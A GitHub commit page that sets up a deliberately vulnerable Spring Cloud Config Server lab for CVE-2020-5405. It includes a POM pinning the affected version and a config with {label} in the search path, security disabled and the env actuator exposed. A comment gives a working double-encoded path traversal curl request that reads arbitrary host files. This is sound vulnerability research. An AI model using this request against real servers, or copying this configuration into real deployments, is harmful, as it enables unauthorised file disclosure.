Skip to content

Commit bee461e

Browse files
author
“threedr3am”
committed
feat:spring cloud config server(CVE-2020-5405)
1 parent 54ee515 commit bee461e

File tree

4 files changed

+111
-0
lines changed

4 files changed

+111
-0
lines changed
Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<parent>
6+
<groupId>org.springframework.boot</groupId>
7+
<artifactId>spring-boot-starter-parent</artifactId>
8+
<version>2.2.1.RELEASE</version>
9+
<relativePath/>
10+
</parent>
11+
<modelVersion>4.0.0</modelVersion>
12+
13+
<artifactId>spring-cloud-config-server-CVE-2020-5405</artifactId>
14+
15+
<dependencies>
16+
<dependency>
17+
<groupId>org.springframework.boot</groupId>
18+
<artifactId>spring-boot-starter</artifactId>
19+
</dependency>
20+
21+
<dependency>
22+
<groupId>org.springframework.cloud</groupId>
23+
<artifactId>spring-cloud-config-server</artifactId>
24+
<version>2.2.1.RELEASE</version>
25+
</dependency>
26+
27+
<dependency>
28+
<groupId>org.springframework.boot</groupId>
29+
<artifactId>spring-boot-starter-actuator</artifactId>
30+
</dependency>
31+
</dependencies>
32+
33+
<build>
34+
<plugins>
35+
<plugin>
36+
<groupId>org.springframework.boot</groupId>
37+
<artifactId>spring-boot-maven-plugin</artifactId>
38+
<configuration>
39+
<fork>true</fork>
40+
</configuration>
41+
</plugin>
42+
</plugins>
43+
</build>
44+
</project>
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
package com.threedr3am.bug.spring.config.server;
2+
3+
import org.springframework.boot.SpringApplication;
4+
import org.springframework.boot.autoconfigure.SpringBootApplication;
5+
import org.springframework.cloud.config.server.EnableConfigServer;
6+
7+
/**
8+
* @author threedr3am
9+
*/
10+
@EnableConfigServer
11+
@SpringBootApplication
12+
public class Application {
13+
14+
public static void main(String[] args) {
15+
SpringApplication.run(Application.class, args);
16+
}
17+
}
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
/**
2+
*
3+
* 漏洞点在 org.springframework.cloud.config.server.environment.NativeEnvironmentRepository#getLocations(java.lang.String, java.lang.String, java.lang.String)
4+
* 看新版本的patch可以看到,对于location做了和path同样的判断
5+
* @Override
6+
* public synchronized Resource findOne(String application, String profile, String label,
7+
* String path) {
8+
*
9+
* ...
10+
* String location = locations[i];
11+
* if (isInvalidEncodedLocation(location)) {
12+
* continue;
13+
* }
14+
* ...
15+
* }
16+
*
17+
* org.springframework.cloud.config.server.resource.GenericResourceRepository#isInvalidEncodedLocation
18+
*
19+
* curl http://127.0.0.1:9988/foo/profiles/%252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp/aaa.xxx
20+
* 读取/User/xuanyonghao/tmp/aaa.xxx文件
21+
* foo 对应 {application}
22+
* profiles 对应 {profiles}
23+
* %252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp 对应 {label}
24+
*
25+
* todo 条件限制:
26+
* todo 1. 文件必须有后缀,也就是.txt等等。
27+
* todo 2. cloud: config: server: native: search-locations: file:///tmp/{label},此处的目录需要有{application}或{profiles}或{label},因为在上述触发点会对url对应段进行替换进来location,导致目录穿越,但是会限制文件后缀
28+
*
29+
* @author threedr3am
30+
*/
31+
package com.threedr3am.bug.spring.config.server;
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
spring:
2+
profiles:
3+
active: native
4+
cloud:
5+
config:
6+
server:
7+
native:
8+
search-locations: file:///tmp/{label}
9+
# git:
10+
# uri: https://github.com/threedr3am/share-project
11+
management:
12+
security:
13+
enabled: false
14+
endpoints:
15+
web:
16+
exposure:
17+
include: env
18+
server:
19+
port: 9988

0 commit comments

Comments
 (0)